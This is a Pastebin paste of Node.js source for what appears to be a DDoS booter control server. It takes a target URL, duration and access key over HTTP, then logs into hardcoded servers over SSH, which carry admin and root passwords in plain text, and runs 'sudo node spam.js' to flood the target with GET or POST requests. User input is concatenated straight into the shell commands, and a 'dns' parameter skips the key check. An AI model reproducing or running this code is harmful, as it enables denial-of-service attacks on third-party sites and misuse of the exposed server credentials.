Advertisement
Arbitrator

Untitled

Jan 3rd, 2020
8,687
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.32 KB | None | 0 0
  1. const net = require('net');
  2. const Client = require('ssh2').Client;
  3. const http = require('http');
  4. const url = require('url');
  5. const fs = require('fs');
  6.  
  7. const methods = [
  8. "SPAMGET",
  9. "SPAMPOST",
  10. "STOP"
  11. ];
  12.  
  13.  
  14. var servers = [
  15.  
  16. {
  17. ip: "101.99.90.71",
  18. username: "admin",
  19. password: "wtfY@xv4o%MhS%DaQoBxo8fxJhqwndTT@H2"
  20. },
  21. {
  22. ip: "1.2.3.22",
  23. username: "root",
  24. password: "password"
  25. },
  26.  
  27. ]
  28.  
  29.  
  30. var keys = [{
  31. key: "",
  32. concurrents: 4,
  33. maxtime: 1800,
  34. attacks: 0,
  35. admin: true
  36. }]
  37.  
  38.  
  39. process.on('uncaughtException', function(e) {
  40. console.warn(e);
  41. });
  42.  
  43. process.on('unhandledRejection', function(e) {
  44. console.warn(e);
  45. });
  46. var client = new net.Socket();
  47.  
  48. var httpServer = http.createServer().on('request', function(request, response) {
  49. request.query = url.parse(request.url, true).query;
  50. if (methods.indexOf(request.query.method) === -1 || request.query.time < 10) return response.end('gay');
  51. if (!request.query.url) {
  52. return response.end('{"error": "No URL mentioned."}');
  53. }
  54. if (!request.query.time) {
  55. return response.end('{"error": "No time given"}');
  56. }
  57. if (!request.query.method) {
  58. return response.end('{"error": "No method given"}');
  59. }
  60. if (request.query.key || request.query.dns) {
  61. request.query.keydb = keys.find(akey => akey.key == request.query.key);
  62. if (request.query.keydb || request.query.dns) {
  63. if (request.query.dns) {
  64. request.query.keydb = {
  65. concurrents: 1e3,
  66. maxtime: 1e6,
  67. attacks: -1e6
  68. };
  69. }
  70. if (request.query.method == 'STOPALL') {
  71. if (request.query.keydb.admin) {
  72. execute("sudo pkill .js -f; sudo pkill https:// -f; sudo pkill http:// -f;");
  73. response.end("Attack has been sent on " + request.query.url);
  74. }
  75. }
  76. else if (request.query.method == 'SPAMGET') {
  77. if (request.query.keydb.admin) {
  78. execute("sudo node spam.js " + "get " + request.query.url + " " + request.query.time);
  79. response.end("Attack has been sent on " + request.query.url);
  80. }
  81. else if (request.query.method == 'SPAMPOST') {
  82. if (request.query.keydb.admin) {
  83. execute("sudo node spam.js " + request.query.url + " " + request.query.time);
  84. response.end("Attack has been sent on " + "post " + request.query.url);
  85. }
  86. }
  87. else if (request.query.method == 'STOP') {
  88. if (request.query.keydb.admin) {
  89. execute("sudo pkill " + request.query.url + " -f");
  90. response.end("Stopped attack on " + request.query.url);
  91. }
  92. }
  93. } else {
  94. response.end("Wrong key");
  95. }
  96. } else {
  97. response.end("No key was mentioned.");
  98. }
  99. } else {
  100. response.setHeader('content-type', 'text/html');
  101. return response.end('maintenance');
  102. }
  103. });
  104. httpServer.listen(12,function(){
  105. console.log('Server is running on port 12');
  106. });
  107. function execute(command, serversLimit) {
  108. servers.forEach(function(server) {
  109. var conn = new Client();
  110. conn.on('ready', function() {
  111. console.log('Client :: ready');
  112. conn.exec(command, function(err, stream) {
  113. if (err) throw err;
  114. stream.on('close', function(code, signal) {
  115. console.log('Stream :: close :: code: ' + code + ', signal: ' + signal);
  116. conn.end();
  117. }).on('data', function(data) {
  118. console.log('STDOUT: ' + data);
  119. }).stderr.on('data', function(data) {
  120. console.log('STDERR: ' + data);
  121. });
  122. });
  123. }).connect({
  124. host: server.ip,
  125. port: 22,
  126. username: server.username,
  127. password: server.password
  128. });
  129. });
  130. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement